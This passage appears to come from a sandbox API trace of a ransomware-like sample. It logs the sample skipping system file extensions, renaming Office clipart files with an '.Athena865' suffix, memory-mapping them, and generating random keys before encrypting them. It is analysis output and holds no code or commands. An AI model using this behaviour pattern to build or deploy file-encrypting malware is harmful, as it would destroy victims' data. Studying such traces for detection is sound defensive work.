[0133.085] lstrcmpiW (lpString1="PE02263_.WMF", lpString2=".ini") returned 1 [0133.085] lstrlenW (lpString=".sys") returned 4 [0133.085] lstrcmpiW (lpString1="PE02263_.WMF", lpString2=".sys") returned 1 [0133.085] lstrlenW (lpString="PE02263_.WMF") returned 12 [0133.085] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF.Athena865") returned 73 [0133.085] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02263_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02263_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.086] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=33358) returned 1 [0133.087] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.087] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.087] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.088] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8550, lpName=0x0) returned 0x154 [0133.092] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8550) returned 0x100000 [0133.094] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.094] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.094] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.095] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE02265_.WMF" | out: lpString1="PE02265_.WMF") returned="PE02265_.WMF" [0133.095] lstrlenW (lpString="PE02265_.WMF") returned 12 [0133.095] lstrlenW (lpString="Athena865") returned 9 [0133.095] lstrcmpiW (lpString1="2265_.WMF", lpString2="Athena865") returned -1 [0133.095] lstrlenW (lpString=".dll") returned 4 [0133.095] lstrcmpiW (lpString1="PE02265_.WMF", lpString2=".dll") returned 1 [0133.095] lstrlenW (lpString=".lnk") returned 4 [0133.095] lstrcmpiW (lpString1="PE02265_.WMF", lpString2=".lnk") returned 1 [0133.095] lstrlenW (lpString=".ini") returned 4 [0133.095] lstrcmpiW (lpString1="PE02265_.WMF", lpString2=".ini") returned 1 [0133.095] lstrlenW (lpString=".sys") returned 4 [0133.095] lstrcmpiW (lpString1="PE02265_.WMF", lpString2=".sys") returned 1 [0133.095] lstrlenW (lpString="PE02265_.WMF") returned 12 [0133.096] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF.Athena865") returned 73 [0133.096] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02265_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02265_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.097] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=25266) returned 1 [0133.097] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.098] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.098] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.098] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x65c0, lpName=0x0) returned 0x154 [0133.099] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x65c0) returned 0x100000 [0133.101] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.101] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.101] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.102] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE02267_.WMF" | out: lpString1="PE02267_.WMF") returned="PE02267_.WMF" [0133.102] lstrlenW (lpString="PE02267_.WMF") returned 12 [0133.102] lstrlenW (lpString="Athena865") returned 9 [0133.102] lstrcmpiW (lpString1="2267_.WMF", lpString2="Athena865") returned -1 [0133.103] lstrlenW (lpString=".dll") returned 4 [0133.103] lstrcmpiW (lpString1="PE02267_.WMF", lpString2=".dll") returned 1 [0133.103] lstrlenW (lpString=".lnk") returned 4 [0133.103] lstrcmpiW (lpString1="PE02267_.WMF", lpString2=".lnk") returned 1 [0133.103] lstrlenW (lpString=".ini") returned 4 [0133.103] lstrcmpiW (lpString1="PE02267_.WMF", lpString2=".ini") returned 1 [0133.103] lstrlenW (lpString=".sys") returned 4 [0133.103] lstrcmpiW (lpString1="PE02267_.WMF", lpString2=".sys") returned 1 [0133.103] lstrlenW (lpString="PE02267_.WMF") returned 12 [0133.103] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF.Athena865") returned 73 [0133.103] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02267_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02267_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.105] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=30944) returned 1 [0133.105] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.106] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.106] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.106] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7be0, lpName=0x0) returned 0x154 [0133.107] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7be0) returned 0x100000 [0133.109] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.109] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.109] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.110] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE02270_.WMF" | out: lpString1="PE02270_.WMF") returned="PE02270_.WMF" [0133.110] lstrlenW (lpString="PE02270_.WMF") returned 12 [0133.110] lstrlenW (lpString="Athena865") returned 9 [0133.110] lstrcmpiW (lpString1="2270_.WMF", lpString2="Athena865") returned -1 [0133.110] lstrlenW (lpString=".dll") returned 4 [0133.110] lstrcmpiW (lpString1="PE02270_.WMF", lpString2=".dll") returned 1 [0133.110] lstrlenW (lpString=".lnk") returned 4 [0133.110] lstrcmpiW (lpString1="PE02270_.WMF", lpString2=".lnk") returned 1 [0133.110] lstrlenW (lpString=".ini") returned 4 [0133.111] lstrcmpiW (lpString1="PE02270_.WMF", lpString2=".ini") returned 1 [0133.111] lstrlenW (lpString=".sys") returned 4 [0133.111] lstrcmpiW (lpString1="PE02270_.WMF", lpString2=".sys") returned 1 [0133.111] lstrlenW (lpString="PE02270_.WMF") returned 12 [0133.111] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF.Athena865") returned 73 [0133.111] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02270_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02270_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.112] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=28454) returned 1 [0133.112] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.113] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.113] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.113] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7230, lpName=0x0) returned 0x154 [0133.115] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7230) returned 0x100000 [0133.116] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.117] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.117] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.117] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE02278_.WMF" | out: lpString1="PE02278_.WMF") returned="PE02278_.WMF" [0133.117] lstrlenW (lpString="PE02278_.WMF") returned 12 [0133.117] lstrlenW (lpString="Athena865") returned 9 [0133.117] lstrcmpiW (lpString1="2278_.WMF", lpString2="Athena865") returned -1 [0133.118] lstrlenW (lpString=".dll") returned 4 [0133.118] lstrcmpiW (lpString1="PE02278_.WMF", lpString2=".dll") returned 1 [0133.118] lstrlenW (lpString=".lnk") returned 4 [0133.118] lstrcmpiW (lpString1="PE02278_.WMF", lpString2=".lnk") returned 1 [0133.118] lstrlenW (lpString=".ini") returned 4 [0133.118] lstrcmpiW (lpString1="PE02278_.WMF", lpString2=".ini") returned 1 [0133.118] lstrlenW (lpString=".sys") returned 4 [0133.118] lstrcmpiW (lpString1="PE02278_.WMF", lpString2=".sys") returned 1 [0133.118] lstrlenW (lpString="PE02278_.WMF") returned 12 [0133.118] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF.Athena865") returned 73 [0133.118] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02278_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02278_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.120] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=47556) returned 1 [0133.120] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.121] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.121] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.124] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.125] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.125] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.126] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE02280_.WMF" | out: lpString1="PE02280_.WMF") returned="PE02280_.WMF" [0133.126] lstrlenW (lpString="PE02280_.WMF") returned 12 [0133.126] lstrlenW (lpString="Athena865") returned 9 [0133.126] lstrcmpiW (lpString1="2280_.WMF", lpString2="Athena865") returned -1 [0133.126] lstrlenW (lpString=".dll") returned 4 [0133.126] lstrcmpiW (lpString1="PE02280_.WMF", lpString2=".dll") returned 1 [0133.126] lstrlenW (lpString=".lnk") returned 4 [0133.126] lstrcmpiW (lpString1="PE02280_.WMF", lpString2=".lnk") returned 1 [0133.126] lstrlenW (lpString=".ini") returned 4 [0133.126] lstrcmpiW (lpString1="PE02280_.WMF", lpString2=".ini") returned 1 [0133.126] lstrlenW (lpString=".sys") returned 4 [0133.126] lstrcmpiW (lpString1="PE02280_.WMF", lpString2=".sys") returned 1 [0133.126] lstrlenW (lpString="PE02280_.WMF") returned 12 [0133.127] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF.Athena865") returned 73 [0133.127] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02280_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02280_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.128] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=26920) returned 1 [0133.128] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.129] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.129] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.138] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.139] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.139] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.139] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE02282_.WMF" | out: lpString1="PE02282_.WMF") returned="PE02282_.WMF" [0133.139] lstrlenW (lpString="PE02282_.WMF") returned 12 [0133.139] lstrlenW (lpString="Athena865") returned 9 [0133.139] lstrcmpiW (lpString1="2282_.WMF", lpString2="Athena865") returned -1 [0133.140] lstrlenW (lpString=".dll") returned 4 [0133.140] lstrcmpiW (lpString1="PE02282_.WMF", lpString2=".dll") returned 1 [0133.140] lstrlenW (lpString=".lnk") returned 4 [0133.140] lstrcmpiW (lpString1="PE02282_.WMF", lpString2=".lnk") returned 1 [0133.140] lstrlenW (lpString=".ini") returned 4 [0133.140] lstrcmpiW (lpString1="PE02282_.WMF", lpString2=".ini") returned 1 [0133.140] lstrlenW (lpString=".sys") returned 4 [0133.140] lstrcmpiW (lpString1="PE02282_.WMF", lpString2=".sys") returned 1 [0133.140] lstrlenW (lpString="PE02282_.WMF") returned 12 [0133.140] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF.Athena865") returned 73 [0133.140] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02282_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02282_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.142] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=29696) returned 1 [0133.142] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.143] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.143] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.145] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.146] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.146] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.147] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE02285_.WMF" | out: lpString1="PE02285_.WMF") returned="PE02285_.WMF" [0133.147] lstrlenW (lpString="PE02285_.WMF") returned 12 [0133.147] lstrlenW (lpString="Athena865") returned 9 [0133.147] lstrcmpiW (lpString1="2285_.WMF", lpString2="Athena865") returned -1 [0133.147] lstrlenW (lpString=".dll") returned 4 [0133.147] lstrcmpiW (lpString1="PE02285_.WMF", lpString2=".dll") returned 1 [0133.147] lstrlenW (lpString=".lnk") returned 4 [0133.147] lstrcmpiW (lpString1="PE02285_.WMF", lpString2=".lnk") returned 1 [0133.147] lstrlenW (lpString=".ini") returned 4 [0133.147] lstrcmpiW (lpString1="PE02285_.WMF", lpString2=".ini") returned 1 [0133.147] lstrlenW (lpString=".sys") returned 4 [0133.147] lstrcmpiW (lpString1="PE02285_.WMF", lpString2=".sys") returned 1 [0133.147] lstrlenW (lpString="PE02285_.WMF") returned 12 [0133.147] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF.Athena865") returned 73 [0133.147] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.149] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16528) returned 1 [0133.149] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.150] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.150] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.152] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.153] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.153] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.153] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE02287_.WMF" | out: lpString1="PE02287_.WMF") returned="PE02287_.WMF" [0133.153] lstrlenW (lpString="PE02287_.WMF") returned 12 [0133.153] lstrlenW (lpString="Athena865") returned 9 [0133.153] lstrcmpiW (lpString1="2287_.WMF", lpString2="Athena865") returned -1 [0133.153] lstrlenW (lpString=".dll") returned 4 [0133.153] lstrcmpiW (lpString1="PE02287_.WMF", lpString2=".dll") returned 1 [0133.153] lstrlenW (lpString=".lnk") returned 4 [0133.154] lstrcmpiW (lpString1="PE02287_.WMF", lpString2=".lnk") returned 1 [0133.154] lstrlenW (lpString=".ini") returned 4 [0133.154] lstrcmpiW (lpString1="PE02287_.WMF", lpString2=".ini") returned 1 [0133.154] lstrlenW (lpString=".sys") returned 4 [0133.154] lstrcmpiW (lpString1="PE02287_.WMF", lpString2=".sys") returned 1 [0133.154] lstrlenW (lpString="PE02287_.WMF") returned 12 [0133.154] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF.Athena865") returned 73 [0133.154] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf.athena865"), dwFlags=0x1) returned 1 [0133.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.157] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17796) returned 1 [0133.157] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.158] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.158] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.160] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.161] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.161] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.161] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PE02288_.WMF" | out: lpString1="PE02288_.WMF") returned="PE02288_.WMF" [0133.162] lstrlenW (lpString="PE02288_.WMF") returned 12 [0133.162] lstrlenW (lpString="Athena865") returned 9 [0133.162] lstrcmpiW (lpString1="2288_.WMF", lpString2="Athena865") returned -1 [0133.162] lstrlenW (lpString=".dll") returned 4 [0133.162] lstrcmpiW (lpString1="PE02288_.WMF", lpString2=".dll") returned 1 [0133.162] lstrlenW (lpString=".lnk") returned 4 [0133.162] lstrcmpiW (lpString1="PE02288_.WMF", lpString2=".lnk") returned 1 [0133.162] lstrlenW (lpString=".ini") returned 4 [0133.162] lstrcmpiW (lpString1="PE02288_.WMF", lpString2=".ini") returned 1 [0133.162] lstrlenW (lpString=".sys") returned 4 [0133.162] lstrcmpiW (lpString1="PE02288_.WMF", lpString2=".sys") returned 1 [0133.162] lstrlenW (lpString="PE02288_.WMF") returned 12 [0133.162] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF.Athena865") returned 73 [0133.162] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF.Athena865" (normalized: "c:\\program files\\microsoft 